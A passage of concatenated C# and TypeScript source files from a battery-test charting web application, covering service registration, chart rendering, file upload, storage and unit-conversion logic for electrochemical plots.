section["Container"]); default: throw new ApplicationException($"Unknown storage type: {type}"); } }).InstancePerRequest(); builder.Register(c => { var section = (NameValueCollection)ConfigurationManager.GetSection("feedback-storage"); var type = section["Type"]; switch (type) { case "Local": return new FeedbackStorage(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, section["Directory"])); case "Azure": return new FeedbackStorage(section["ConnectionString"], section["Container"]); default: throw new ApplicationException($"Unknown feedback storage type: {type}"); } }).InstancePerRequest(); builder.RegisterType<PlotTemplateService>().AsSelf().InstancePerRequest(); builder.RegisterType<ChartSettingProvider>().AsSelf().InstancePerRequest(); builder.RegisterType<ResistanceChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.ResistanceOhms).InstancePerRequest(); builder.RegisterType<CoulombicEfficiencyChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.CoulombicEfficiency).InstancePerRequest(); builder.RegisterType<CyclicVoltammetryChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.CyclicVoltammetry).InstancePerRequest(); builder.RegisterType<DifferentialCapacityChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.DifferentialCapacity).InstancePerRequest(); builder.RegisterType<DifferentialVoltageChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.DifferentialVoltage).InstancePerRequest(); builder.RegisterType<EndCapacityChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.EndCapacity).InstancePerRequest(); builder.RegisterType<CapacityRetentionChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.CapacityRetention).InstancePerRequest(); builder.RegisterType<EnergyChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.Energy).InstancePerRequest(); builder.RegisterType<PowerChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.Power).InstancePerRequest(); builder.RegisterType<EndCurrentChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.EndCurrent).InstancePerRequest(); builder.RegisterType<EndTimeEndCurrentChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.EndTimeEndCurrent).InstancePerRequest(); builder.RegisterType<EndTimeEndVoltageChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.EndTimeEndVoltage).InstancePerRequest(); builder.RegisterType<EndVoltageChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.EndVoltage).InstancePerRequest(); builder.RegisterType<MidVoltageChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.MidVoltage).InstancePerRequest(); builder.RegisterType<CyclicVoltammetryChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.CyclicVoltammetry).InstancePerRequest(); builder.RegisterType<VoltageCapacityChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.VoltageCapacity).InstancePerRequest(); builder.RegisterType<SocChartPlotter>().As<ChartPlotterBase>().Keyed<ChartPlotterBase>(PlotType.Soc).InstancePerRequest(); builder.RegisterType<TemplatePlotter>().AsSelf().InstancePerRequest(); builder.RegisterType<SelectProjectListQuery>().AsSelf().InstancePerRequest(); builder.Register<Func<PlotType, ChartPlotterBase>>(c => { var componentContext = c.Resolve<IComponentContext>(); return plotName => componentContext.ResolveKeyed<ChartPlotterBase>(plotName); }); // Transient builder.RegisterType<ChartExporter>().InstancePerDependency(); builder.RegisterType<ProjectDataRepository>().As<IProjectDataRepository>().InstancePerDependency(); builder.RegisterType<BackgroundJobClient>().As<IBackgroundJobClient>().InstancePerDependency(); builder.RegisterApiControllers(Assembly.GetExecutingAssembly()); return builder.Build(); } private static IEdmModel GetODataModel() { var builder = new ODataConventionModelBuilder(); builder.EnableLowerCamelCase(); var project = builder.EntitySet<Project>("projects").EntityType; project.Ignore(p => p.InternalFileName); project.Ignore(p => p.JobId); return builder.GetEdmModel(); } private static void RegisterColumnEncryptionKeyStoreProviders(IContainer container) { var providerRegistration = container.Resolve<IAzureSqlColumnEncryptionKeyStoreProvider>(); providerRegistration.Register(); } private static void MigrateDatabase() { var connectionString = ConfigurationManager.ConnectionStrings["Default"]; DqdvContext.Migrate(connectionString.ConnectionString, connectionString.ProviderName); } private static void ConfigureHangfire() { GlobalConfiguration.Configuration.UseSqlServerStorage("Default"); } #endregion } } <file_sep>/WebApp/Extensions/ExpressionExtensions.cs using System; using System.Linq.Expressions; namespace WebApp.Extensions { public static class ExpressionExtensions { //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// /// <summary> /// LinqKit extension for LINQ predicate /// </summary> /// <typeparam name="T1"></typeparam> /// <typeparam name="T2"></typeparam> /// <param name="expr">expression to be compiled</param> /// <param name="arg1">type of first parameter</param> /// <param name="arg2">type of second parameter</param> /// <returns>true or false</returns> public static bool Invoke<T1, T2>(this Expression<Func<T1, T2, bool>> expr, T1 arg1, T2 arg2) { try { return expr.Compile()(arg1, arg2); } catch (Exception) { return false; } } } } <file_sep>/WebApp/src/app/chart/chart/chart.component.ts import { AfterViewInit, Component, Input, OnChanges, SimpleChanges, ViewChild } from "@angular/core"; import { Actions } from "@ngrx/effects"; import { Store } from "@ngrx/store"; import { AppState } from "../../state"; import { BrowserModule } from "@angular/platform-browser"; import { platformBrowserDynamic } from "@angular/platform-browser-dynamic"; import { DxChartModule, DxChartComponent, DxRangeSelectorModule } from "devextreme-angular"; import DxChart from "devextreme/viz/chart"; import { PagerService } from "../service/pager-service"; import { registerPalette, currentPalette, getPalette } from "devextreme/viz/palette"; import { Chart, Label, AxisRange } from "../model"; @Component({ selector: "app-chart", templateUrl: "./chart.component.html", styleUrls: ["./chart.component.css"] }) export class ChartComponent implements AfterViewInit { @ViewChild(DxChartComponent) chartComponent: DxChartComponent; @Input() label: Label; @Input() axisRange: AxisRange; @Input() legendVisible: boolean; @Input() selectorVisible: boolean; @Input() title: string; @Input() useAggregation: boolean; @Input() refreshing: boolean; @Input() chart: Chart; constructor(private pagerService: PagerService) { this.discreteItems = {}; this.customizeText = this.customizeText.bind(this); } pager: any = {}; pagedItems: any[]; private discreteItems: any = {}; setPage(page: number) { if (page < 1 || page > this.pager.totalPages) { return; } this.pager = this.pagerService.getPager(this.chartComponent.instance.getAllSeries().length, page); this.pagedItems = this.chartComponent.instance.getAllSeries().slice(this.pager.startIndex, this.pager.endIndex + 1); } get totalSeries(): number { return this.chartComponent && this.chartComponent.instance && this.chartComponent.instance.getAllSeries().length || 0; } onShowHideSeries(e): void { for (const series of this.chartComponent.instance.getAllSeries()) { if (e.target.checked === false) { series.hide(); } else { series.show(); } } } onSeriesClick(series): void { var i_series = this.chartComponent.instance.getSeriesByName(series.name); if (i_series.isVisible() === true) { i_series.hide(); } else { i_series.show(); } } ngAfterViewInit(): void { if (this.chart) { this.onChartChanged(this.chartComponent.instance, this.chart); } } ngOnChanges(changes: SimpleChanges): void { if (changes["chart"]) { const control = this.chartComponent.instance; if (control && this.chart) { this.onChartChanged(control, this.chart); this.onChartAxisChanged(control, this.chart); } } } valueChanged(arg: any) { this.chartComponent.instance.zoomArgument(arg.value[0], arg.value[1]); } formatCrosshairLabel(value: number): string { return +value.toFixed(3) + ""; } formatTooltip(point: { seriesName: string }): any { return { text: point.seriesName }; } private onChartChanged(control: DxChart, chart: Chart): void { this.discreteItems = {}; control.beginUpdate(); control.option("series", chart.series); if (chart.series) { for (let i = 0; i < chart.series.length; i++) { var projectId = chart.series[i].projectId; const project = chart.projects.find(p => p.id === projectId); if (project && project.isAveragePlot) { control.option("series[" + i + "].valueErrorBar", { highValueField: "highError", lowValueField: "lowError", opacity: 0.8, lineWidth: 1 }); } } } control.option("dataSource", chart.points); control.option("title", chart.title); control.option("argumentAxis.type", "continuous"); control.option("argumentAxis.label.customizeText", undefined); control.option("argumentAxis.tickInterval", chart.xAxisIsInteger ? 1 : undefined); control.option("argumentAxis.grid.visible", chart.plotParameters.xLineVisible); control.option("argumentAxis.title.text", chart.xAxisText); control.option("commonSeriesSettings.line.point.size", chart.plotParameters.pointSize); control.option("valueAxis[0].grid.visible", chart.plotParameters.yLineVisible); control.option("valueAxis[0].title.text", chart.yAxisText[0]); control.option("valueAxis[1].visible", chart.yAxisText.length > 1); control.option("valueAxis[1].grid.visible", chart.yAxisText.length > 1 && chart.plotParameters.yLineVisible); control.option("valueAxis[1].title.text", chart.yAxisText.length > 1 && chart.yAxisText[1]); const isCRate = chart.points && (chart.xAxisText === "CRate" || chart.xAxisText === "DischargeCRate"); if (isCRate) { chart.points.map((i, index) => { this.discreteItems[`${i.x}`] = i.discrete; }); control.option("argumentAxis.type", "discrete"); control.option("argumentAxis.label.customizeText", this.customizeText); } control.option("legend.visible", chart.plotParameters.legendShowen); if (chart.plotParameters.chartPalette.length > 0) { registerPalette("userDefinedPalette", { simpleSet: chart.plotParameters.chartPalette }); currentPalette("userDefinedPalette"); control.option("palette", "userDefinedPalette"); } control.endUpdate(); if (this.chartComponent.instance.getAllSeries().length > 0) { this.setPage(1); } } private onChartAxisChanged(control: DxChart, chart: Chart): void { control.beginUpdate(); const axisRange = chart.plotParameters.axisRange; if (axisRange) { let adjustOnZoom = false; //Change X first, because it does not affect zoom and value margins configurations if (axisRange.xAxis && (axisRange.xAxis.to ||axisRange.xAxis.from)) { adjustOnZoom = true; control.option("argumentAxis.valueMarginsEnabled", false); control.option("argumentAxis.max", axisRange.xAxis.to); control.option("argumentAxis.min", axisRange.xAxis.from); } else { control.option("argumentAxis.valueMarginsEnabled", true); control.option("argumentAxis.min", undefined); control.option("argumentAxis.max", undefined); } if (axisRange.yAxis && (axisRange.yAxis.to || axisRange.yAxis.from)) { adjustOnZoom = false; control.option("valueAxis[0].valueMarginsEnabled", false); control.option("valueAxis[0].tickInterval", "0.1"); control.option("valueAxis[0].min", axisRange.yAxis.from); control.option("valueAxis[0].max", axisRange.yAxis.to); } else { control.option("valueAxis[0].valueMarginsEnabled", true); control.option("valueAxis[0].tickInterval", undefined); control.option("valueAxis[0].min", undefined); control.option("valueAxis[0].max", undefined); } control.option("adjustOnZoom", adjustOnZoom); } control.endUpdate(); } onZoomEnd(e): void { e.component.render({ force: true }); } private customizeText(arg: any): any { return this.discreteItems[`${arg.value}`]; } } <file_sep>/WebApp/src/app/upload/uploader.component.ts import { Component, OnInit } from "@angular/core"; import { FormControl, FormGroup, Validators } from "@angular/forms"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { AppState, UploadState, BeforeStartUpload } from "../state"; @Component({ templateUrl: "./uploader.component.html", styleUrls: ["./uploader.component.css"] }) export class UploaderComponent implements OnInit { form: FormGroup; state$: Observable<UploadState>; constructor(private store: Store<AppState>) { this.state$ = this.store.select(s => s.upload); } public ngOnInit(): void { this.form = new FormGroup({ name: new FormControl(null, [Validators.required, Validators.maxLength(256)]), testName: new FormControl(null, Validators.maxLength(256)), testType: new FormControl(null, Validators.maxLength(256)), channel: new FormControl(null, Validators.maxLength(256)), tag: new FormControl(null, Validators.maxLength(256)), mass: new FormControl(null), activeMaterialFraction: new FormControl(null), theoreticalCapacity: new FormControl(null), area: new FormControl(null), comments: new FormControl(null, Validators.maxLength(256)) }); } public onSubmit(file: File[]): void { const project = { ...this.form.value, file: file }; this.store.dispatch(new BeforeStartUpload(project)); //this.store.dispatch(new StartUpload(project)); } } export class CollapseExampleComponent { showBsCollapse() { } shownBsCollapse() { } hideBsCollapse() { } hiddenBsCollapse() { } } <file_sep>/WebApp/Interfaces/IStorage.cs using System.Threading.Tasks; using System.Web; using WebApp.Models.Chart; namespace WebApp.Interfaces { public interface IStorage { void SaveAs(HttpPostedFile file, string name); /// <summary> /// Save file stream to a storage /// </summary> /// <param name="file">File stream to save</param> /// <param name="name">File name in a storage</param> /// <returns></returns> Task SaveAsAsync(HttpPostedFile file, string name); /// <summary> /// Download file stream from a storage /// </summary> /// <param name="name">File name in a storage</param> /// <param name="internalId">Internal File Name</param> /// <returns>Files</returns> Task<BlobDownloadModel> DownloadToStreamAsync(string name, string internalId); } } <file_sep>/Plotting/PlotterBase.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Linq; using Dqdv.Types; using Dqdv.Types.Plot; namespace Plotting { public abstract class PlotterBase { private static readonly List<Point> NoPoints = new List<Point>(); //////////////////////////////////////////////////////////// // Protected Methods/Atributes //////////////////////////////////////////////////////////// protected readonly IProjectDataRepository ProjectDataRepository; protected PlotterBase(IProjectDataRepository projectDataRepository) { ProjectDataRepository = projectDataRepository; } protected Parameters MakeParameters(PlotParameters parameters, int? forcedEveryNthCycle) { return new Parameters { MaxPointsPerSeries = parameters?.MaxPointsPerSeries, Simplification = parameters?.Simplification ?? 0, FromCycle = parameters?.FromCycle, ToCycle = parameters?.ToCycle, EveryNthCycle = forcedEveryNthCycle ?? parameters?.EveryNthCycle, CustomCycleFilter = string.IsNullOrWhiteSpace(parameters?.CustomCycleFilter) ? null : new IndexRangeFilter(parameters.CustomCycleFilter), IsChargeEnabled = !(parameters?.DisableCharge ?? false), IsDischargeEnabled = !(parameters?.DisableDischarge ?? false), Threshold = parameters?.Threshold, MinY = parameters?.MinY, MaxY = parameters?.MaxY, CurrentUoM = parameters?.CurrentUoM ?? CurrentUoM.mA, CapacityUoM = parameters?.CapacityUoM ?? CapacityUoM.mAh, TimeUoM = parameters?.TimeUoM ?? TimeUoM.Seconds, PowerUoM = parameters?.PowerUoM ?? PowerUoM.W, EnergyUoM = parameters?.EnergyUoM ?? EnergyUoM.Wh, ResistanceUoM = parameters?.ResistanceUoM ?? ResistanceUoM.Ohm, NormalizeBy = parameters?.NormalizeBy ?? NormalizeBy.None }; } protected static void AddSeries(Chart chart, Project project, Parameters parameters, List<Point> points, string name, int? cycleIndex = null, bool isZAxis = false) { var displayName = $"{project.Name}: {name}"; if (cycleIndex != null) displayName += $" (Cycle {cycleIndex})"; if (points != null && (parameters.Simplification > 0 || parameters.MaxPointsPerSeries != null)) points = new LineSimplifier().Simplify(points, parameters.MaxPointsPerSeries ?? 1000); if(chart.YAxisText.Length == 0 && !isZAxis) { chart.YAxisText = new[] { name }; } if (chart.YAxisText.Length == 1 && isZAxis) { chart.YAxisText = new[] { chart.YAxisText[0], name }; } chart.Series.Add( new Series { ProjectId = project.Id, Name = name, IsZAxis = isZAxis, CycleIndex = cycleIndex, DisplayName = displayName, Points = points ?? NoPoints }); } protected static IEnumerable<Cycle> FilterCycles(List<Cycle> cycles, Parameters parameters) { var lastCycleIndex = cycles.LastOrDefault()?.Index ?? 0; var query = cycles.AsEnumerable(); if (parameters.FromCycle != null) query = query.Where(c => c.Index >= parameters.FromCycle.Value); if (parameters.ToCycle != null) query = query.Where(c => c.Index <= parameters.ToCycle.Value); if (parameters.EveryNthCycle != null) { var first = parameters.FromCycle ?? 1; var last = parameters.ToCycle ?? lastCycleIndex; query = query.Where(c => (c.Index - first + 1) % parameters.EveryNthCycle.Value == 0 || c.Index == first || c.Index == last || c.Index == lastCycleIndex); } if (parameters.CustomCycleFilter != null) query = query.Where(c => parameters.CustomCycleFilter.Contains(c.Index)); return query; } protected static IEnumerable<Point> Plot(List<DataPoint> points, Cycle cycle, Func<DataPoint, double?> getX, Func<DataPoint, double?> getY, Parameters parameters, Func<DataPoint, bool> filter = null) { return ApplyYFilter( Plot(points, cycle.FirstPointIndex, cycle.PointCount, getX, getY, filter).ToList(), parameters); } protected static IEnumerable<Point> Plot(List<DataPoint> points, int offset, int count, Func<DataPoint, double?> getX, Func<DataPoint, double?> getY, Func<DataPoint, bool> filter = null) { for (var i = offset; i < offset + count; i++) { if (filter != null && i < points.Count && !filter(points[i])) continue; var x = getX(points[i]); if (x == null) continue; var y = getY(points[i]); if (y == null) continue; yield return new Point { X = x.Value, Y = y.Value }; } } protected static List<Point> Plot(List<Cycle> cycles, Parameters parameters, Func<Cycle, double?> getValue, Func<Cycle, double?> getStdDevValue) { List<Point> points = FilterCycles(cycles, parameters) .Select(c => new { c.Index, Value = getValue(c), HighError = getStdDevValue(c).HasValue ? getValue(c) + getStdDevValue(c) : null, LowError = getStdDevValue(c).HasValue ? getValue(c) - getStdDevValue(c) : null, }) .Where(c => c.Value != null) .Select(c => new Point { X = c.Index, Y = c.Value.Value, HighError = c.HighError, LowError = c.LowError }).ToList(); points = ApplyYFilter(points, parameters).ToList(); return points.ToList(); } protected IEnumerable<Point> PlotDerivative(List<DataPoint> points, int offset, int count, Func<DataPoint, bool> filter, Func<DataPoint, double?> getX, Func<DataPoint, double?> getY, Parameters parameters) { var prevX = (Double?)null; var prevY = (Double?)null; for (var i = offset; i < offset + count; i++) { if (!filter(points[i])) continue; var currX = getX(points[i]); if (currX == null) continue; var currY = getY(points[i]); if (currY == null) continue; if (prevX == null) { prevX = currX; prevY = currY; continue; } var dX = currX.Value - prevX.Value; if (parameters.Threshold != null && Math.Abs(dX) < parameters.Threshold) continue; var dY = currY.Value - prevY.Value; var value = dY / dX; if (double.IsNaN(value) || double.IsInfinity(value)) continue; prevX = currX; prevY = currY; if (parameters.MinY != null && value < parameters.MinY.Value) continue; if (parameters.MaxY != null && value > parameters.MaxY.Value) continue; yield return new Point { X = prevX.Value, Y = value }; } } protected static IEnumerable<Point> ApplyYFilter(List<Point> points, Parameters parameters) { var minY = parameters.MinY; if (minY != null) points = points.Where(p => p.Y >= minY.Value).ToList(); var maxY = parameters.MaxY; if (maxY != null) points = points.Where(p => p.Y <= maxY.Value).ToList(); return points; } protected static double GetCurrentMultiplier(Project project, Parameters parameters) { var multiplier = GetCurrentMultiplier(parameters.CurrentUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } protected static double GetCapacityMultiplier(Project project, Parameters parameters) { var multiplier = GetCapacityMultiplier(parameters.CapacityUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } protected static double GetTimeMultiplier(Project project, Parameters parameters) { var multiplier = GetTimeMultiplier(parameters.TimeUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } protected static double GetEnergyMultiplier(Project project, Parameters parameters) { var multiplier = GetEnergyMultiplier(parameters.EnergyUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } protected static double GetResistanceMultiplier(Project project, Parameters parameters) { var multiplier = GetResistanceMultiplier(parameters.ResistanceUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } protected static double GetPowerMultiplier(Project project, Parameters parameters) { var multiplier = GetPowerMultiplier(parameters.PowerUoM) / GetNormalizeByDivider(project, parameters); return double.IsInfinity(multiplier) || double.IsNaN(multiplier) ? 1.0 : multiplier; } private static double GetTimeMultiplier(TimeUoM timeUoM) { switch (timeUoM) { case TimeUoM.Seconds: return 1; case TimeUoM.Minutes: return 0.0166666666666667; // 1 / 60 case TimeUoM.Hours: return 2.777777777777778e-4; // 1 / 3600 case TimeUoM.Days: return 1.157407407407407e-5; // 1 / (3600 * 24) default: return 1; } } private static double GetEnergyMultiplier(EnergyUoM energyUoM) { switch (energyUoM) { case EnergyUoM.Wh: return 1; case EnergyUoM.muWh: return 1000000; case EnergyUoM.mWh: return 1000; case EnergyUoM.kWh: return 0.001; case EnergyUoM.MWh: return 0.000001; case EnergyUoM.GWh: return 0.000000001; default: return 1; } } private static double GetPowerMultiplier(PowerUoM powerUoM) { switch (powerUoM) { case PowerUoM.W: return 1; case PowerUoM.muW: return 1000000; case PowerUoM.mW: return 1000; case PowerUoM.kW: return 0.001; case PowerUoM.MW: return 0.000001; case PowerUoM.GW: return 0.000000001; default: return 1; } } private static double GetResistanceMultiplier(ResistanceUoM resistanceUoM) { switch (resistanceUoM) { case ResistanceUoM.Ohm: return 1; case ResistanceUoM.muOhm: return 1000000; case ResistanceUoM.mOhm: return 1000; case ResistanceUoM.kOhm: return 0.001; case ResistanceUoM.MOhm: return 0.000001; case ResistanceUoM.GOhm: return 0.000000001; default: return 1; } } private static double GetCapacityMultiplier(CapacityUoM capacityUoM) { switch (capacityUoM) { case CapacityUoM.Ah: return 0.001; default: return 1; } } public static double GetNormalizeByDivider(Project project, Parameters parameters) { switch (parameters.NormalizeBy) { default: return 1.0; case NormalizeBy.Area: return project.Area ?? 1.0; case NormalizeBy.Mass: return project.Mass.GetValueOrDefault(1.0) * project.ActiveMaterialFraction.GetValueOrDefault(1.0); case NormalizeBy.Asi: return project.Area ?? 1.0; } } private static double GetCurrentMultiplier(CurrentUoM currentUoM) { switch (currentUoM) { case CurrentUoM.A: return 0.001; case CurrentUoM.uA: return 1000; default: return 1; } } #region Private types public class Parameters { public int? MaxPointsPerSeries { get; set; } public int Simplification { get; set; } public int? FromCycle { get; set; } public int? ToCycle { get; set; } public int? EveryNthCycle { get; set; } public IndexRangeFilter CustomCycleFilter { get; set; } public bool IsChargeEnabled { get; set; } public bool IsDischargeEnabled { get; set; } public double? Threshold { get; set; } public double? MinY { get; set; } public double? MinY2 { get; set; } public double? MaxY { get; set; } public double? MaxY2 { get; set; } public CurrentUoM CurrentUoM { get; set; } public CapacityUoM CapacityUoM { get; set; } public VoltageUoM VoltageUoM { get; set; } public TimeUoM TimeUoM { get; set; } public PowerUoM PowerUoM { get; set; } public EnergyUoM EnergyUoM { get; set; } public ResistanceUoM ResistanceUoM { get; set; } public TemperatureUoM TemperatureUoM { get; set; } public NormalizeBy NormalizeBy { get; set; } } #endregion } }<file_sep>/WebApp/Services/FeedbackStorage.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.IO; using System.Threading.Tasks; using System.Web; using Microsoft.WindowsAzure.Storage; namespace WebApp.Services { public class FeedbackStorage { #region Private fields private readonly bool _local; private readonly string _directory; private readonly string _connectionString; private readonly string _container; #endregion #region Constructor public FeedbackStorage(string directory) { _local = true; _directory = directory; } public FeedbackStorage(string connectionString, string container) { _local = false; _connectionString = connectionString; _container = container; } #endregion #region IStorage implementation public async Task<string> Save(HttpPostedFile file, string name) { if (_local) { var path = Path.Combine(_directory, name); file.SaveAs(path); return path; } else { var client = CloudStorageAccount.Parse(_connectionString).CreateCloudBlobClient(); var container = client.GetContainerReference(_container); var blob = container.GetBlockBlobReference(name); await blob.UploadFromStreamAsync(file.InputStream); return blob.Uri.ToString(); } } #endregion } } <file_sep>/WebApp/Services/CacheProvider.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Runtime.Caching; using WebApp.Interfaces; namespace WebApp.Services { public sealed class CacheProvider : ICacheProvider, IDisposable { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private readonly MemoryCache _cache = new MemoryCache("PlotParameters"); //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// public void Set(string key, object value) { _cache.Set(key, value, new CacheItemPolicy { AbsoluteExpiration = ObjectCache.InfiniteAbsoluteExpiration }); } public object Get(string key) { return _cache.Get(key); } public void Remove(string key) { _cache.Remove(key); } public void Clear() { _cache.Trim(100); } /// <inheritdoc /> /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { _cache?.Dispose(); } } } <file_sep>/Plotting/ChartPlotterBase.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using Dqdv.Types; using Dqdv.Types.Plot; namespace Plotting { public abstract class ChartPlotterBase : PlotterBase { public Chart Plot(bool projectsSumCyclesGreaterThanMax, ChartPlotterContext ctx) { Context = ctx; var forcedEveryNthCycle = CalcForcedEveryNthCycle(projectsSumCyclesGreaterThanMax, ctx.ProjectIds, ctx.Parameters, ctx.Trace); var param = MakeParameters(ctx.Parameters, forcedEveryNthCycle); Chart chart = CreateChart(param); chart.ForcedEveryNthCycle = forcedEveryNthCycle; foreach (var pid in ctx.ProjectIds) { Plot(chart, pid, param, ctx.Trace); } return chart; } protected ChartPlotterContext Context { get; private set; } public virtual bool IsCalcEveryNthCycleForcedDisabled => true; protected static string FormatCurrentAxis(CurrentUoM currentUoM, NormalizeBy normalizeBy) { switch (currentUoM) { case CurrentUoM.A: switch (normalizeBy) { case NormalizeBy.Area: return Title.CurrentCustom2; case NormalizeBy.Mass: return Title.CurrentCustom3; default: return Title.CurrentCustom1; } case CurrentUoM.mA: switch (normalizeBy) { case NormalizeBy.Area: return Title.CurrentCustom5; case NormalizeBy.Mass: return Title.CurrentCustom6; default: return Title.CurrentCustom4; } case CurrentUoM.uA: switch (normalizeBy) { case NormalizeBy.Area: return Title.CurrentCustom8; case NormalizeBy.Mass: return Title.CurrentCustom9; default: return Title.CurrentCustom7; } default: return Title.Current; } } protected void Plot(Chart chart, int projectId, Parameters parameters, string trace) { var project = ProjectDataRepository.GetProject(projectId, trace); chart.Projects.Add(project); Plot(chart, project, parameters, trace); } private Chart CreateChart(Parameters parameters) { Chart chart = new Chart { Projects = new List<Project>(), Series = new List<Series>(), Label = new Label { Font = new Font(FontFamily.GenericMonospace, 8) } }; SetupChart(chart, parameters); return chart; } protected abstract void SetupChart(Chart chart, Parameters parameters); protected abstract void Plot(Chart chart, Project project, Parameters parameters, string trace); protected static string FormatCurrentAxisTitle(Parameters parameters) { return FormatCurrentAxis(parameters.CurrentUoM, parameters.NormalizeBy); } protected static string FormatCapacityAxisTitle(Parameters parameters) { return FormatCapacityAxis(parameters.CapacityUoM, parameters.NormalizeBy); } protected static string FormatTimeAxisTitle(Parameters parameters) { return FormatTimeAxis(parameters.TimeUoM); } protected static string FormatPowerAxisTitle(Parameters parameters) { return FormatPowerAxis(parameters.PowerUoM); } protected static string FormatEnergyAxisTitle(Parameters parameters) { return 